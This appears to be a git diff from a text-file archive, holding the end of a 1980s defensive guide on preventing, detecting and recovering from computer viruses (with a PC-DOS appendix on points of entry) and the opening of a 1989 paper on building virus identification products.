including giving the user the ability to create programs to + suit his or her own needs. Thus, it may not be practical + and competitive in the long run to impose restrictions on + many systems. The risk of viral infection must be weighed + against the benefits of providing power and flexibility to + the individual user. + + + + + 2.4.3 Policies for Software Repositories + + + + Software repositories are places in which programs reside + which may be used by a number of people. These may be disks + on a mainframe, which can be accessed from a number of + different users' accounts. They may also be disks on a + local area network file server, from which many users get + common programs. + + These repositories can pose more of a risk in the spread of + viruses than most "private" program storage locations. If a + commonly-accessed program becomes infected, such as a text + editor used by an entire department, the entire department + can become infected very quickly. So, extra care is + required to prevent infection of repositories. + + A policy can be put into place that requires each program + added to a repository to be checked thoroughly for possible + infection. It is helpful, for instance, to use tools to + ensure that it is not infected with any of the already-known + viruses. + + + Coping with Computer Viruses: A Guide for Technical + Management 10 + + + + + + + + + + In cases in which users who access the repository deal with + especially sensitive programs and data, it may be prudent to + enforce even more stringent policies. Programs to be added + may be tested first on isolated systems, to see if they show + any signs of infecting other programs. Or, a repository + team may inspect the source code of the program for viral + code. If no viral code is found, the repository team can + compile the program on an isolated system that has been + certified to be free of viruses. In such a case, the only + object code allowed on the repository would come directly + from the team's compilation on its isolated system. + + Repositories can also be helpful in detecting and + controlling viruses. Consider the situation in which most + users run a significant amount of the software that they + execute from a central server to which they do not have + write access, rather than from individual writeable disks. + Since the users do not regularly update this software, + viruses will not be able to spread as quickly between these + users. If a program on a central repository becomes + infected, it may be comparatively simple to replace it with + an uninfected version (or remove it entirely). It may be + more difficult to screen all programs on hundreds of + individual systems. It may also be easier to audit the + usage of, and updates to, a single software repository, as + opposed to a large number of individual systems. + + There are a variety of other areas in many organizations + which could spread viruses rapidly, and hence which should + be carefully controlled. Internal software distribution + centers, for instance, could spread a virus widely if they + were infected. Similarly, a software lending library, if + infected, may transmit a virus to many other users before it + is detected. Walk-in demo rooms and educational centers are + also potential problems. In general, any place from which + software is widely distributed, and which has uncontrolled + software importation, needs special attention. + + + + + 2.4.4 Policies for Production Systems + + + Production systems are those systems which are used to + prepare internally-developed programs for distribution + either within a company, or for sale to external customers. + If these systems were infected with a virus, the virus could + spread to programs used widely within the company, or to + programs used by the company's customers. In the former + case, this could spread the virus widely throughout the + company. In the latter case, it could damage the reputation + of the company with its customers. There has been + + + Coping with Computer Viruses: A Guide for Technical + Management 11 + + + + + + + + + + documented cases of companies accidentally shipping + virus-infected program products to customers. + + Since the infection of production systems could have serious + consequences, you should be especially careful about + protecting them. The key to this is the institution of + stringent change control policies on production systems. + + They should be strongly isolated from non-production + systems, so that only known, authorized files can be put + onto the system. Each file should be checked for infection, + to whatever extent possible. Installing object code on + these systems should be avoided whenever possible. Rather, + source code should be installed, and compiled locally with a + trusted compiler. Where the impact of a viral infection + would be particularly large, it may be important to inspect + the source code before it is compiled, to avoid the + introduction of a virus through the source code. If object + code must be installed, its origin should be verified + beforehand. For instance, object code for a personal + computer could be installed only from an original, + write-protected distribution disk, which has been found to + be free of viruses. + + In addition, virus-checking programs (see below) should be + run frequently on production systems. On a multitasking + system, it may be possible to run a virus detector + continuously in the background. Further, a policy can be + instituted which ensures that a virus detector will be + executed at least once between the time that new files are + installed on the system, and the time that any files are + exported from the system. + + + + 2.5 DETECTING VIRAL INFECTIONS + + + With the possible exception of isolation, all of the methods + outlined above for preventing viral infections are only + somewhat reliable. Viruses can still reach some systems + despite the implementation of preventative measures. + Indeed, no perfect defense exists that still allows + programming, and sharing of executable information. There + is no "one time fix," as there is for many other computer + security problems. This is a hole that cannot be plugged + completely. Defenses will have to be improved with time to + deal with new classes of viruses. Because of this, virus + *detection* is an important component of system security. + + The two most important resources available for the detection + of viruses are watchful users and watchful programs. The + best approaches to virus detection include both. The users + + + Coping with Computer Viruses: A Guide for Technical + Management 12 + + + + + + + + + + should be aware of the possibility of viruses, just as they + are aware of the need for backups, and to know what kinds of + things to watch for. System programs and utilities should + be available to help the users, and the computer center + staff, to take advantage of this awareness. + + + + 2.5.1 Watching for Unexpected Things Happening + + + If users are aware of the kinds of visible things that are + known to happen in systems that are virus-infected, these + users can serve as an important line of defense. Users + should know that odd behavior in a computer system may be a + symptom of penetration by a virus, and they should know to + whom such odd behavior should be reported. + + On the other hand, it is a fact that odd behavior is usually + *not* caused by viral penetration. Software bugs, user + errors, and hardware failures are much more common. It is + important to avoid unfounded rumors of viral infections, as + dealing with such "false alarms" can be costly. An actual + infection, however, may require rapid action. So the group + to which users report oddities must have the skill to + determine which reports are almost certainly due to one of + these more common causes, and which merit closer + investigation for possible viral infection. One obvious + choice for such a group is within the computing center or + "help desk," since the computing center staff probably + already has a good idea of what sorts of oddities are + "business as usual." + + + + 2.5.2 Some Symptoms of Known Viruses + + + + + 2.5.2.1 Workstation Viruses + + + This section lists specific oddities that are known to occur + in workstations infected with particular viruses that have + already occurred. Some of the things in these examples only + occur once the virus is in place, and is triggered to + perform its particular function. Others occur while the + virus is still spreading. Some things users should know to + watch for include: + + o Unexpected changes in the time stamps or length of + files, particularly executable files, + + + Coping with Computer Viruses: A Guide for Technical + Management 13 + + + + + + + + + + o Programs taking longer to start, or running more slowly + than usual, + o Programs attempting to write to write-protected media + for no apparent reason, + o Unexplained decreases in the amount of available + workstation memory, or increases in areas marked as + "bad" on magnetic media, + o Executable files unexpectedly vanishing, + o Workstations unexpectedly "rebooting" when certain + previously-correct programs are run, or a relatively + constant amount of time after being turned on, + o Unusual things appearing on displays, including + "scrolling" of odd parts of the screen, or the + unexpected appearance of "bouncing balls" or odd + messages, + o Unexpected changes to volume labels on disks and other + media, + o An unusual load on local networks or other communication + links, especially when multiple copies of the same data + are being sent at once. + + It is important to remember, though, that future viruses may + do none of these things. Users should be alert to oddities + in general and should have a place to report them, as + recommended above. + + + + + 2.5.2.2 Mainframe Viruses + + + + Viruses in multi-user computer systems share some of the + typical behaviors of viruses in single-user workstations. + In particular, lengths or time stamps of executable files + may change, programs may load or execute more slowly, + unusual errors (especially relating to disk-writes) may + occur, files may vanish or proliferate, and odd things may + appear on displays. If the virus is attempting to spread + between users, users may also notice "outgoing mail" that + they did not intend to send, "links" to other user's + information that they did not intentionally establish, and + similar phenomena. + + Generally, the same comments apply in this environment as in + the single-user workstation environment. Future viruses may + do none of these things, and users should be sensitive to + suspicious oddities in general, and have a place to which to + report them. + + + + + + Coping with Computer Viruses: A Guide for Technical + Management 14 + + + + + + + + + + 2.5.3 Watching for Changes to Executable Objects + + + + Users are not the only line of defense in the detection of + viruses. It is comparatively simple to create programs that + will detect the presence and the spread of the simpler + classes of viruses. Such programs can go a long way in + "raising the bar" against computer viruses. + + One effective approach to detecting simple viruses involves + notifying the user of changes to the contents of executable + objects (program files, "boot records" on magnetic media, + and so forth). Users can be provided with a program to be + run once a day which will examine the executable objects to + be checked, and compare their characteristics with those + found the last time the program was run. (This could be run + at the same time as the backup program, for instance.) The + user can then be presented with a list of objects that have + changed. If things have changed that should not have, the + user can contact the appropriate people to investigate. If + certain objects that should seldom or never change (such as + the operating system files themselves) are different, the + user can be specially warned, and urged to contact the + appropriate people. + + Often, a central system programming group has control over a + large multi-user computing system. That group can execute + this sort of program periodically, to check for changes to + common operating system utilities, and to the operating + system itself. Because viruses can often spread to + privileged users, they are quite capable of infecting even + those parts of the system that require the highest authority + to access. + + The frequency with which virus detectors should be used + depends upon the rate at which executables are transmitted, + and the value of the information assets on the systems. + Workstations that are not connected to networks can exchange + information via floppy disks. The known computer viruses + that propagate by way of floppy disks do so relatively + slowly. It may take days, or weeks, or even months for such + a virus to propagate across a large organization. In this + case, running virus detectors once a day, or once a week, + may be sufficient. For systems connected to networks, + especially large-scale networks, the situation is much + different. Experience has shown network viruses to be + capable of spreading very rapidly across the network. In + some cases, replicating programs have spread across + nationwide networks in a matter of hours or days. In these + cases, it may be important to run virus detectors hourly or + daily. + + + + Coping with Computer Viruses: A Guide for Technical + Management 15 + + + + + + + + + + Below is an outline of one possible implementation of a + virus detecting program. It is for illustration only; many + different structures would do the job as well or better. + + 1. The program obtains a list of files to be checked. For + PC-DOS, for instance, this should include .COM and .EXE + files, any files that are listed as device drivers in + the CONFIG.SYS file, the CONFIG.SYS file itself, and any + other executables such as batch files or BASIC programs. + 2. For each of these files, the program + o Determines the time/date and length of the file from + the operating system. + o If desired, actually reads the data in the file, and + performs a calculation such as a CRC (cyclic + redundancy check) on the data. (The number of files + checked in such detail depends on the importance of + the file, the speed of the program, and the amount + of time the user is willing to spend.) + o Compares this file information (time/date, length, + and perhaps CRC or other code) with the database + generated last time the program was run. + o If the file was not present the last time the + program was run, or if the information in the + previous database was different from the information + just obtained, the program records that the file is + new or changed. + 3. After checking all relevant files, the program reads all + other known executable objects in the system(1), and + compares their CRC or other codes with the values in the + database, and records any changes. + 4. When all the existing objects have been checked in this + way, the program updates the database for next time and + presents all its findings to the user. + 5. On the basis of this information, the user can decide + whether any of the reported changes are suspicious, and + worth reporting. + + This method is by no means foolproof. A sophisticated virus + could do a variety of things. It could change an executable + object without altering the time, date, length, or CRC code. + It could only alter objects that had been legitimately + changed recently. It could act directly on the database + itself and thus escape detection. More sophisticated + versions of the program outlined here can provide + significantly more foolproof detection. It is advantageous + to have many different virus detectors in place at the same + + ---------------- + (1) For PC-DOS, this would typically include the boot record + on a floppy diskette, and the master and partition boot + records on hard disks. For multi-user operating + systems, this might include "shared system images," or + "IPL datasets" or equivalent objects. + + + Coping with Computer Viruses: A Guide for Technical + Management 16 + + + + + + + + + + time. That way, a virus that can evade one detector may be + caught by another. Nevertheless, user awareness, and + procedures for recovery in the event of an infection that is + not detected until too late, are both still vital. + + + + 2.5.4 Using External Information Sources + + + Software viruses are able to spread because information + flows so quickly in the modern world. That same information + flow can help in the detection of viruses. Newspapers, + magazines, journals, and network discussion groups have + carried significant amounts of material dealing with + computer viruses and other forms of malicious software. + These sources of information can be valuable in maintaining + awareness of what hazards exist, and what measures are + available to detect or prevent specific viruses. This kind + of information can be invaluable to the people in your + organization charged with investigating suspicious events + reported by users, and deciding which ones to follow up on. + On the other hand, these channels also carry a certain + amount of inevitable misinformation, and care should be + taken not to react to, or spread, rumors that seem to have + no likely basis in fact. + + + + 2.6 CONTAINING VIRAL INFECTIONS + + + Having procedures in place to detect viral infection is very + important. By itself, however, it is of little use. The + individual who makes the first detection must have a + procedure to follow to verify the problem and to make sure + that appropriate action occurs. If the information supplied + in the detection phase is allowed to "fall between the + cracks," even for a relatively short time, the benefit of + detection can easily be lost. + + + + + 2.6.1 The Importance of Early Detection + + + Computer viruses generally spread exponentially. If a virus + has infected only one system in a network on Monday, and + spread to four by Tuesday, sixteen systems could easily be + infected by Wednesday, and over five hundred by Friday. + (These numbers are just samples, of course, but they give an + idea of the potential speed of spread. See reference (1) + + + Coping with Computer Viruses: A Guide for Technical + Management 17 + + + + + + + + + + for some experiments in which much faster spread was + observed.) + + Because viruses can spread so fast, it is very important to + detect them as early as possible after the first infection. + The surest way of doing this is to have every vulnerable + user run the best available virus-detection software as + often as feasible. This solution may be too expensive and + time-consuming for most environments. + + In most groups of users, it is possible to identify a number + of "star" users who do a disproportionately large amount of + information-exchange, who generally run new software before + most people do, and who are the first to try out new things + in general. In multi-user systems, some of these people + often have special authorities and privileges. When a virus + reaches one of these people, it can spread very rapidly to + the rest of the community. In making cost/benefit decisions + about which users should spend the most time or effort on + virus-detection, these are the people to concentrate on. + + + + + 2.6.2 The Importance of Rapid Action + + + When a virus is detected, every moment spent deciding what + to do next may give the virus another chance to spread. It + is vital, therefore, to have action plans in place *before* an + infection occurs. Such plans should include, for instance: + + o Designation of one particular group (whether formal or + informal) as the "crisis team," + o Procedures for identifying infected systems, by + determining how and from where the infection reached + each system known to be infected, + o Procedures for isolating those systems until they can be + rendered free of the virus, + o Procedures for informing vulnerable users about the + virus, and about how to avoid spreading it themselves, + o Procedures for removing the virus from infected systems, + o Procedures for identifying the virus involved, and for + developing or obtaining specific software or procedures + to combat the virus. These may remove the virus from + infected systems and files, determine whether or not + backups are infected, and so on. + o Procedures for recording the characteristics of the + virus and the effectiveness of the steps taken against + it, in case of later re-infection with the same or a + similar virus. + + Some suggestions for recovery are given in the next section. + + + Coping with Computer Viruses: A Guide for Technical + Management 18 + + + + + + + + + + 2.7 RECOVERING FROM VIRAL INFECTIONS + + + Once a virus has been detected and identified, and measures + have been taken to stop it from spreading further, it is + necessary to recover from the infection, and get back to + business as usual. The main objective of this activity is + to provide each affected user with a normal, uninfected + computing environment. For individual workstations, this + means ensuring that no infected objects remain on the + workstation. For more complex environments, it means + ensuring that no infected objects remain anywhere on the + system where they might inadvertently be executed. + + The basic recovery activities are: + + o Replacing every infected object in the system with an + uninfected version, and + o Restoring any other objects that the virus' actions may + have damaged. + + It is of critical importance during these activities to + avoid re-introducing the virus into the system. This could + be done, for instance, by restoring an infected executable + file from a backup tape. + + + + + 2.7.1 Restoration and Backups + + + + An obvious but incorrect approach to removing the infection + from a system is simply to restore the infected objects from + backups. This is *not* a wise thing to do, however, since + the backups themselves may be infected. If the virus first + entered the system sufficiently long ago, infected objects + may well have been backed up in infected form. + + Once the virus has been well understood, in terms of what + types of objects it spreads itself to, three different + categories of objects may be considered for restoration: + + o Objects of the type that the virus infects. These + should only be restored from backups if the backed-up + versions are thoroughly and individually checked for + infection by the virus. If it is possible, it is + preferable to restore the objects from more "trusted" + sources, such as original, unwriteable, copies supplied + by the manufacturer, or by recompiling source code. + Even in these cases, it is worthwhile to check once + again for infection after restoration has been done. + + + Coping with Computer Viruses: A Guide for Technical + Management 19 + + + + + + + + + + o Objects of types that the virus does not infect, but + which have been destroyed or altered by the virus' + actions. These can generally be restored from backups + safely, although again it is worth checking the + integrity of the backed-up copies. If the virus has + been in the system long enough, it may have damaged + objects that were later backed up. + + o Objects of types that the virus neither infects, nor + damages. If you are very sure that the virus does not + infect or alter certain types of files, there may be no + need to restore those files during the recovery process. + + + + 2.7.2 Virus-Removing Programs + + + Once a virus has been studied, you can write or obtain + programs to help remove that particular virus. One type of + these programs checks for the presence of the virus in a + executable objects. Another type tries to remove the + infection by restoring the object to its previous uninfected + form. "Checking" programs can be extremely valuable during + the recovery process, to ensure that files that are being + restored after infection or damage by the virus are now + "clean." "Removal" programs are somewhat less useful, and + should usually only be used when there is no other practical + way to obtain an uninfected version of the object. Removing + a virus from an executable object can be a complex and + difficult process, and even a well-written program may fail + to restore the object correctly. + + + + 2.7.3 Watching for Re-Infection + + + Once recovery is complete, and all known infected and + damaged objects have been restored to uninfected and correct + states, it is necessary to remain watchful for some time. A + system that has recently been infected by a certain virus + runs an increased risk of re-infection by that same virus. + The re-infection can occur through some obscure, infected + object that was missed in the recovery process. It can also + occur from the same outside source as the original + infection. This is especially true if the original source + of infection is not known. + + Vigilance in the use of general virus-detection programs, + like those described above, continues to be important. In + addition, it will often be possible to obtain or write + programs designed to detect the specific virus from which + + + Coping with Computer Viruses: A Guide for Technical + Management 20 + + + + + + + + + + the system has just recovered. Specific virus-detection + programs of this kind are particularly useful at this time. + The same users who use the general virus-detection programs, + and any users who would be specifically vulnerable to the + virus just recovered from, can be given such programs to + run. This increases the probability of detection, should an + infection recur. The programs might also be incorporated + into the backup system for a time, to scan files being + backed up for infection, and even into appropriate places in + networks and file-sharing systems. Because such checks will + introduce extra overhead, there will be a trade-off between + performance and added security in considering how long to + leave them in place. + + + + 2.8 SUMMARY AND RECOMMENDATIONS + + + Computer viruses can pose a threat to the security of + programs and data on computing systems. We have suggested + several means of limiting this threat. They are summarized + below. + + + o Viruses represent a new kind of threat to the security + of computing systems. + + - They can be spread without the intent of the people + who spread them. + - They can spread widely and quickly within an + organization, reaching systems and users well beyond + the initial infection point. + - They can perform virtually any action that their + designer intends. + + + o The risks posed by viruses can be limited by proper + action. + + - Follow good security practices in general. + + -- Educate your users about security threats, + including computer viruses. + -- Make sure that good backups are kept of all + important data. + + - Take steps to reduce the possibility of being + infected. + + -- Where practical, isolate critical systems from + sources of infection, such as networks and + outside programs. + + + Coping with Computer Viruses: A Guide for Technical + Management 21 + + + + + + + + + + -- Where practical, limit the ability to create or + install new programs on those systems which do + not require this ability. + -- Ensure that adequate controls exist on software + repositories, production systems, and other + important areas of your organization. These + include careful change management and the use of + virus detectors. + + - Take steps to ensure that virus infections will be + detected quickly. + + -- Educate your users about possible warning signs. + -- Use virus detectors, which will inform users of + the unintended modification of programs and + data. + -- Make sure your users know to whom they can + report a potential problem. + + - Take steps to contain virus infections that are + detected. + + -- A plan to deal with an infection should be put + into place *before* an infection occurs. + -- A "crisis team" should be put into place, which + can respond quickly to a potential problem. + -- Isolate infected systems until they can be + cleaned up, to avoid them infecting other + systems, and to avoid their becoming reinfected. + + - Take steps to recover from viral infections that are + contained. + + -- Be able to restore critical programs and data + from virus-free backups. + -- Know how to remove viruses from programs if + virus-free backups are unavailable. + -- Watch for a reinfection from that particular + virus. + + + + + + + + + + + + + + + + + Coping with Computer Viruses: A Guide for Technical + Management 22 + + + + + + + + + + FOR FURTHER READING + + + + (1) Fred Cohen, "Computer Viruses: Theory and Experiment," + Computers & Security, Vol. 6 (1987), pp. 22-35 + + (2) Fred Cohen, "On the Implications of Computer Viruses + and Methods of Defense," Computers & Security, Vol. 7 + (1988), pp. 167-184 + + (3) W.H. Murray, "Security Considerations for Personal + Computers," IBM System Journal, Vol. 23, No. 3 (1984), + pp. 297-304 + + (4) --, "Security Risk Assessment in Electronic Data + Processing Systems," IBM Publication Number + G320-9256-0 (1984) + + (5) --, "Good Security Practices for Information Systems + Networks," IBM Publication Number G360-2715-0 (1987) + + (6) --, "An Executive Guide to Data Security," IBM + Publication Number G320-5647-0 (1975) + + (7) --, "Security, Auditability, System Control + Publications Bibliography," IBM Publication Number + G320-9279-2 (1987) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + For Further Reading 23 + + + + + + + + + + GLOSSARY + + + + Computer viruses and the like are relatively new + phenomena. The terms used to describe them do not + have definitions that are universally agreed upon. In + this glossary, we give definitions that try to clarify + the differences between the various concepts. These + terms may be used differently elsewhere. + + + + Availability: That aspect of security that deals with + the timely delivery of information and services to the + user. An attack on availability would seek to sever + network connections, tie up accounts or systems, etc. + + Back Door: A feature built into a program by its + designer, which allows the designer special privileges + that are denied to the normal users of the program. A + back door in a logon program, for instance, could + enable the designer to log on to a system, even though + he or she did not have an authorized account on that + system. + + Bacterium (informal): A program which, when executed, + spreads to other users and systems by sending copies + of itself. (Though, since it does "infect" other + programs, it may be thought of as a "system virus" as + opposed to a "program virus.") It differs from a + "rabbit" (see below) in that it is not necessarily + designed to exhaust system resources. + + Bug: An error in the design or implementation of a + program that causes it to do something that neither + the user nor the program author had intended to be + done. + + Confidentiality: That aspect of security which deals + with the restriction of information to those who are + authorized to use it. An attack on confidentiality + would seek to view databases, print files, discover a + password, etc., to which the attacker was not + entitled. + + Integrity: That aspect of security that deals with + the correctness of information or its processing. An + attack on integrity would seek to erase a file that + should not be erased, alter an element of a database + improperly, corrupt the audit trail for a series of + events, propagate a virus, etc. + + + + + Glossary 24 + + + + + + + + + + Logic Bomb: A Trojan Horse (see below), which is left + within a computing system with the intent of it + executing when some condition occurs. The logic bomb + could be triggered by a change in a file (e.g. the + removal of the designer's userid from the list of + employees of the organization), by a particular input + sequence to the program, or at a particular time or + date (see "Time Bomb" below). Logic bombs get their + name from malicious actions that they can take when + triggered. + + Rabbit (informal): A program is designed to exhaust + some resource of a system (CPU time, disk space, spool + space, etc.) by replicating itself without limit. It + differs from a "bacterium" (see above) in that a + rabbit is specifically designed to exhaust resources. + It differs from a "virus" (see below) in that it is a + complete program in itself; it does not "infect" other + programs. + + Rogue Program: This term has been used in the popular + press to denote any program intended to damage + programs or data, or to breach the security of + systems. As such, it encompasses malicious Trojan + Horses, logic bombs, viruses, and so on. + + Security: When applied to computing systems, this + denotes the authorized, correct, timely performance of + computing tasks. It encompasses the areas of + confidentiality, integrity, and availability. + + Time Bomb: A "logic bomb" (see above) activated at a + certain time or date. + + Trojan Horse: Any program designed to do things that + the user of the program did not intend to do. An + example of this would be a program which simulates the + logon sequence for a computer and, rather than logging + the user on, simply records the user's userid and + password in a file for later collection. Rather than + logging the user on (which the user intended), it + steals the user's password so that the Trojan Horse's + designer can log on as the user (which the user did + not intend). + + Virus (pl. viruses): a program that can "infect" + other programs by modifying them to include a possibly + evolved copy of itself. Note that a program need not + perform malicious actions to be a virus; it need only + "infect" other programs. Many viruses that have been + encountered, however, do perform malicious actions. + + Worm: A program that spreads copies of itself through + network-attached computers. The first use of the term + + + Glossary 25 + + + + + + + + + + described a program that copied itself benignly around + a network, using otherwise-unused resources on + networked machines to perform distributed computation. + Some worms are security threats, using networks to + spread themselves against the wishes of the system + owners, and disrupting networks by overloading them. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Glossary 26 + + + + + + + + + + APPENDIX: VIRAL INFECTIONS IN PC-DOS + + + + This section is intended to give an example of the + places in a typical computer system where a virus + might enter. It is intended for a reader with some + knowledge of the workings of PC-DOS, although it may + be instructive to others as well. PC-DOS was chosen + for convenience; many computer systems have similar + vulnerabilities. + + Consider the process that is required for you to run a + single program. What is happening? Which parts do + you not bother checking since you have seen it a + million times? + + For example, you turn on the power switch and then ... + + o You boot off the disk. What code ran to enable + you to boot off the disk? + + o You boot off a diskette drive. Again ... + + o You run a program. It reads off a disk. What was + actually read in? How was it read in? What did + the reading? + + o You compile a program. Are you using any library + files? What is in them? + + o When was the last time you looked at your + CONFIG.SYS? AUTOEXEC.BAT? + + o You just bought a brand new program. You just + brought it home from the store. What do you know + about the program? About the company that + produced it? + + This list is not meant to be all-inclusive nor + thorough. It is meant to be a spark to start + education. Let us continue by examining each of these + cases. (Where found, the symbol "(!)" is used to + designate a potential point of attack for viruses.) + + + + + When you turn on the power switch + + + Before we investigate the different cases above, we + examine the steps that occur when you first flip the + power switch of your IBM PC to the ON position. + + + Appendix: Viral Infections in PC-DOS 27 + + + + + + + + + + Power is given to the system. A section of code known + as POST (Power On Self Test) residing in ROM (Read + Only Memory) starts running. It checks memory, + devices, peripherals, and then transfers control to + any "properly signatured" ROMs found in the I/O + channels. Assuming those pieces run smoothly, control + returns to POST. When POST completes, it searches for + a diskette in the diskette drive. If unsuccessful, it + tries to boot off a hard file. And finally, if + neither works, it starts running the BASIC interpreter + which is found in its ROM. + + The first place where programs are read into system + RAM (Random Access Memory) is the hard file or + diskette boot up process. Until then, all the code + that is run has come from ROM. Since these ROMs are + from trusted sources, we must assume that they have + not been created with viruses installed. ROMs, by + their nature, can only be written by special + equipment, not found in your PC. Thus to tamper with + them, they must be removed and/or replaced without + your knowledge. For the purposes of this discussion, + we will assume that this has not happened. + + + + Boot from hard file + + + When the computer boots off the hard file, it relies + on code which has been placed in two areas on the hard + file. The first location is the master boot + record(!). The master boot record contains code and + information to designate which "system boot record"(!) + to read and run. This is the "active partition." + There are potentially many system boot records, one + for each partition, while there is only one master + boot record. + + Boot records on a fixed disk vary. But usually, up to + a whole track is reserved. This is a large amount of + space, most of which is not normally used. The large + empty space provides a potential area for viruses to + hide. + + + + Boot from diskette + + + For a floppy disk, the boot record is a properly + "signatured" sector at head 0 track 0 sector 1 of the + disk(!). If the machine finds a proper signature, it + takes the bytes stored in that sector and begins + + + Appendix: Viral Infections in PC-DOS 28 + + + + + + + + + + executing them. This code is usually very short. + Usually, one of the first things it does is to tell + the machine where to get other sectors to form a + complete boot up program. + + Viruses can hide parts of themselves on either hard or + floppy disks, in sectors that they mark as "bad."(!) + These sectors would require special commands to be + read. This prevents the code from being accidentally + overwritten. They also provide an obvious sign, + should you be looking for them (CHKDSK will report bad + sectors). + + + + PC-DOS, the operating system + + + The purpose of the boot records is to load the + operating system. This is done by loading files with + the names IBMBIO.COM(!), IBMDOS.COM(!), and + COMMAND.COM(!). These files contain the operating + system. + + After the operating system is loaded, it becomes the + integral portion of all system activities. This + includes activities such as reading and writing + files(!), allocating memory(!), and allocating all + other system resources(!). Few applications exist + that do not use the operating system to take advantage + of the system resources. Thus, some viruses change + COMMAND.COM or intercept attempts to request a system + resource. + + The purpose of such action would be two-fold. The + first purpose is to place the virus in a common code + path, so that it is executed frequently so that it may + have ample opportunity to spread. The second is to + cause damage, intercepting the proper request and + altering the request. + + + + + Running a program + + + What code runs when you run a program? (!) (The + following list is not meant to be complete. It is to + show you that any link could be a potential point of + attack for a virus. Since the virus' purpose is to be + executed frequently, it would find itself executed + frequently enough if it resided in any of the + following areas.) + + + Appendix: Viral Infections in PC-DOS 29 + + + + + + + + + + o DOS accepts your keystrokes. + + - BIOS INT 9H, INT 16H, INT 15H, INT 1BH + - DOS INT 21H keyboard functions, INT 28H + - Any keyboard device driver or TSR (Terminate + and Stay Resident) program. + + o DOS loads your program + + - BIOS INT 13H, INT 40H, INT 15H + - DOS INT 21H file search functions, memory + allocation, set DTA, disk read, CTRL-BREAK + check, etc. + - Any DOS extension driver or TSR (Terminate and + Stay Resident) program. + + o General background functions + + - BIOS INT 8 (timer), INT 0FH (printer), INT 1CH + (timer) + - Any system driver or TSR (Terminate and Stay + Resident) program. + + All these things happen and more, each time you run a + program. + + + + CONFIG and AUTOEXEC + + + Every time you boot your system, CONFIG.SYS(!) and + AUTOEXEC.BAT(!) tell the system to load many files and + options before you can start working on the computer. + If a virus decided to attach an extra line of + instruction to one of these files, it would result in + the program being loaded each day. When was the last + time you looked at CONFIG.SYS? AUTOEXEC.BAT? Do you + remember the reason for the existence of each line in + the two files? + + + + Compiling programs, using libraries + + + When you compile a program, you use several programs. + One is the compiler itself (!). If the compiler is + infected with a virus, the virus may spread to other, + unrelated programs. But it could also spread to the + program being compiled. + + When a compiled program is linked to form an + executable program, it is common to link in programs + + + Appendix: Viral Infections in PC-DOS 30 + + + + + + + + + + from libraries(!). These library programs provide + standard operating system interfaces, perform input + and output, and so on. If one or more of the library + programs are infected with a virus, then every program + which is linked with it will be infected. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Appendix: Viral Infections in PC-DOS 31 + + + + \ No newline at end of file diff --git a/textfiles.com/virus/identify.txt b/textfiles.com/virus/identify.txt new file mode 100644 index 00000000..e97ac225 --- /dev/null +++ b/textfiles.com/virus/identify.txt @@ -0,0 +1,339 @@ + The following document is copyrighted, 1989, by Tim Sankary - +all rights reserved. It may be copied and distributed freely as long +as no changes are made and as long as this copyright notice remains +with the document + + I want to preface this document with a personal statement. I +am aware that Jim Goodwin has published a partial list of his virus +disassemblies and I can imagine the controversy that will result. I +do not have an inside track to the "truth" of this Distribute/Don't +Distribute issue, and I can frankly see both sides of the argument. I +find it hard, however, to censure a colleague who has performed such +excellent and dedicated work as Jim has, and I have to admire his +courage in taking such a controversial step. For those of you who +anticipate writing or designing Identification and Removal programs +(CVIA Class III programs) for viruses, I hope you will find something +of value in the following study that will be useful. If you have +access to disassemblies, this document may provide some insights into +designing your own disinfectant. + I would like to thank "Doc" John McAfee for his guidance and +help in developing this paper, and the Computer Virus Industry +Association for the outstanding visual aids that they contributed. +These figures have been referenced in the paper but I have been unable +to create ASCII representations of them for BBS distribution. If you +obtained this document from an electronic source and would like a copy +of the figures, they can be obtained by sending a stamped, self +addressed envelope to the CVIA, 4423 Cheeney Street, Santa Clara, CA. +95054. - Tim Sankary + From the Homebase BBS + 408 988 4004 + + + + DEVELOPING VIRUS IDENTIFICATION PRODUCTS + + + In January of 1986, the world's first computer virus was +unleashed upon an unsuspecting and largely defenseless population of +global IBM personal computers users. The virus originated in Lahore, +Pakistan, and spread rapidly from country to country through Europe +and across to the North American Continent. In less than twelve +months it had infected nearly a half-million computers and was causing +minor havoc in hundreds of universities, corporations and government +agencies. + This virus, later dubbed the "Pakistani Brain", caught the +user community unawares and the problems resulting from its many +infections demonstrated how unprepared we were for this phenomenon. +The computer systems targeted by the virus contained no specific +hardware or software elements that could prevent or even slow its +spread, and few utilities could even detect its presence after an +infection occurrence. Fortunately, the virus was not destructive, and +it limited its infections to floppy diskettes; avoiding hard disks +entirely. + The first defensive procedure developed to counteract this +virus involved a simple visual inspection of a suspected diskette's +volume serial label. The virus erased every infected diskette's +volume label and replaced it with the character string - "@BRAIN". +Thus, any inspection of the volume label, such as performing a simple +DIRECTORY command, would indicate the presence or absence of the +virus. An infected diskette could then be reformatted, or the virus +could be removed by replacing the boot sector. This manual procedure +is a typical, if somewhat rudimentary, example of the type of +functions performed by a class of antiviral utilities commonly called +Infection Identification products. + Infection identification products generally employ "passive" +techniques for virus detection. That is; they work by examining the +virus in its inert state. This contrasts with active detection +products which look for specific actions employed by a virus. For +example, looking for a Format instruction within a segment of code on +a disk would be a passive method of detecting a potentially +destructive program. If we detected the Format attempt during program +execution, however, we would be performing an active detection. +Passive methods concern themselves with the static attributes of +viruses, active methods concern themselves with the results of virus +execution. + Example active indicators are: the attempted erasure of +critical files, destruction of the FAT table, re-direction of system +interrupt vectors, general slowdown of the system, or an attempt to +modify an executable program. These indicators are generic; that is, +they are common to a large class of viruses. Because so many viruses +perform these common activities, however, they are of little use in +identifying individual virus strains. It is the passive virus +indicators that prove most useful to a positive identification: The +characteristic text imbedded within the virus, specific flags, +singular filenames or a distinctive sequence of instructions that are +unique to the virus. These and other similar indicators can best be +ascertained by scanning system storage and examining the program files +and other inert data. + +History + Virus identification products have their genesis in the +utility programs first developed in 1982 and 1983 to check public +domain software for bombs or trojans before they were executed. These +utility programs initially checked for questionable instructions in +the suspect program's object code. Direct input/output instructions, +interrupt calls, format sequences and like instructions, if found, +were flagged and the user was notified. Later versions included tests +for imbedded data strings that were typically used by trojan +designers. Suspect programs were scanned for profanity, for keywords +like "gotcha" or "sucker", and for data strings that had been found in +specific trojan programs. Some programs looked also for specific +names of files that were frequently used by trojans and bombs. + These products, however, were seldom able to identify a +specific bomb or trojan. Rather, they 